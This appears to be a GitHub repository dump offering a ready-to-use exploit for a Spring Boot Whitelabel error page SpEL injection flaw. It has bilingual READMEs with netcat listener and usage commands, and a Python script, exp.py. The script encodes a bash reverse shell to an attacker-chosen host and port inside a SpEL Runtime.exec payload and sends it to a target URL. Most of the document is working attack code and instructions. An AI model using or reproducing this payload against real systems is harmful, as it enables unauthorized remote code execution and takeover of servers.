├── help.jpg ├── success.jpg ├── README_CN.md ├── README.md └── exp.py /help.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xzajyjs/SpringBoot-whitelabel-error-rce-EXP/HEAD/help.jpg -------------------------------------------------------------------------------- /success.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xzajyjs/SpringBoot-whitelabel-error-rce-EXP/HEAD/success.jpg -------------------------------------------------------------------------------- /README_CN.md: -------------------------------------------------------------------------------- 1 | # SpringBoot-whitelabel-error-rce EXP 2 | [English README.md](README.md) 3 | --- 4 | 5 | ## 漏洞介绍 6 | 1、spring boot处理参数值出现错误,流程进入`org.springframework.util.PropertyPlaceholderHelper`类 7 | 8 | 2. 此时会使用`parseStringValue`方法递归解析URL中的参数值。 9 | 10 | 3、“${}”包围的内容会被“org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration”类的“resolvePlaceholder”方法解析为SpEL表达式执行,导致RCE漏洞。 11 | 12 | --- 13 | 14 | ## EXP介绍 15 | 通过这个EXP可以判断是否存在漏洞并反弹shell。 16 | 17 | 首先比如访问`/article?id=xxx`时,页面会报错,状态码为`500`:`Whitelabel Error Page`,可以使用当前的`POC & EXP`来尝试 18 | 19 | --- 20 | 21 | ## 使用方法 22 | ````shell 23 | nc -lvvp 8088 24 | python3 exp.py -lhost 127.0.0.1 -lport 8088 -t "http://127.0.0.1:9091/article?id=" 25 | ```` 26 | > -lhost:监听主机 27 | -lport:监听端口 28 | -t:目标URL(**注意:需要包含主机、端口、路径、参数和"="。**) 29 | 30 | ![](help.jpg) 31 | ![](success.jpg) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SpringBoot-whitelabel-error-rce EXP 2 | [中文README_CN.md](README_CN.md) 3 | --- 4 | 5 | ## Vulnerability Intro 6 | 1. There is an error in spring boot processing parameter value, and the process enters the `org.springframework.util.PropertyPlaceholderHelper` class 7 | 8 | 2. At this time, the parameter value in the URL will be parsed recursively using the `parseStringValue` method. 9 | 10 | 3. The content surrounded by `${}` will be parsed and executed as a SpEL expression by the `resolvePlaceholder` method of the `org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration` class, causing an RCE vulnerability. 11 | 12 | --- 13 | 14 | ## EXP Intro 15 | Through this EXP, you can determine whether the vulnerability exists and rebound the shell. 16 | 17 | First, for example, when accessing `/article?id=xxx`, the page will report an error with status code `500`: `Whitelabel Error Page`, you can use the current `POC & EXP` to try 18 | 19 | --- 20 | 21 | ## How to use 22 | ```shell 23 | nc -lvvp 8088 24 | python3 exp.py -lhost 127.0.0.1 -lport 8088 -t "http://127.0.0.1:9091/article?id=" 25 | ``` 26 | > -lhost: The listening host 27 | -lport: The listening port 28 | -t: The target URL(**Notice: Need to include host, port, path and parameter.**) 29 | 30 | ![](help.jpg) 31 | ![](success.jpg) -------------------------------------------------------------------------------- /exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import requests 3 | import string 4 | import random 5 | import base64 6 | import argparse 7 | import urllib 8 | import pyfiglet 9 | GREEN = "\033[92m" 10 | RED = "\033[91m" 11 | BLUE = "\033[1;36m" 12 | RESET = "\033[0m" 13 | 14 | 15 | def generate_random_string(length=10): 16 | letters = string.ascii_letters + string.digits 17 | return ''.join(random.choice(letters) for _ in range(length)) 18 | 19 | 20 | def check_domain(url): 21 | rand_str = generate_random_string() 22 | resp = requests.get(f"{url}{rand_str}", timeout=10) 23 | if rand_str not in resp.text: 24 | return False 25 | else: 26 | return True 27 | 28 | 29 | def exp(target_url, ip, port): 30 | result = "" 31 | origin_bash_shell = f"bash -i >& /dev/tcp/{str(ip)}/{str(port)} 0>&1" 32 | base64_shell = base64.b64encode(origin_bash_shell.encode()).decode() 33 | target = 'bash -c {echo,' + base64_shell + '}|{base64,-d}|{bash,-i}' 34 | for x in target: 35 | result += hex(ord(x)) + "," 36 | payload = "${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{" + result.rstrip(',') + "}))}" 37 | headers = { 38 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 39 | 'Accept-Encoding': 'gzip, deflate, br, zstd', 40 | 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 41 | 'Cache-Control': 'no-cache', 42 | 'Connection': 'keep-alive', 43 | 'Pragma': 'no-cache', 44 | 'Sec-Fetch-Dest': 'document', 45 | 'Sec-Fetch-Mode': 'navigate', 46 | 'Sec-Fetch-Site': 'none', 47 | 'Sec-Fetch-User': '?1', 48 | 'Upgrade-Insecure-Requests': '1', 49 | 'sec-ch-ua': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"', 50 | 'sec-ch-ua-mobile': '?0', 51 | } 52 | encoded_payload = urllib.parse.quote(payload) 53 | requests.get(target_url + encoded_payload, timeout=10, headers=headers) 54 | 55 | 56 | logo = f"""{GREEN} 57 | {pyfiglet.figlet_format("Spring Boot whitelabel error page SpEL rce")}{BLUE} 58 | - Author: xzajyjs 59 | - Github: https://github.com/xzajyjs/SpringBoot-whitelabel-error-rce-EXP 60 | {RESET}""" 61 | 62 | print(logo) 63 | parser = argparse.ArgumentParser() 64 | parser.add_argument("-lhost", "--localhost", help="Listening IP", required=True) 65 | parser.add_argument("-lport", "--localport", help="Listening Port", required=True) 66 | parser.add_argument("-t", "--target", help="Target URL. e.g. 'http://127.0.0.1:9091/article?id='", required=True) 67 | args = parser.parse_args() 68 | if check_domain(args.target): 69 | try: 70 | exp(args.target, args.localhost, args.localport) 71 | except Exception as e: 72 | print(f"{RED}[-] Exploit failed. {e}{RESET}") 73 | else: 74 | print(f"{GREEN}[+] Success.{RESET}") 75 | else: 76 | print(f"{RED}[-] Target not exist or not vulnerable.{RESET}") --------------------------------------------------------------------------------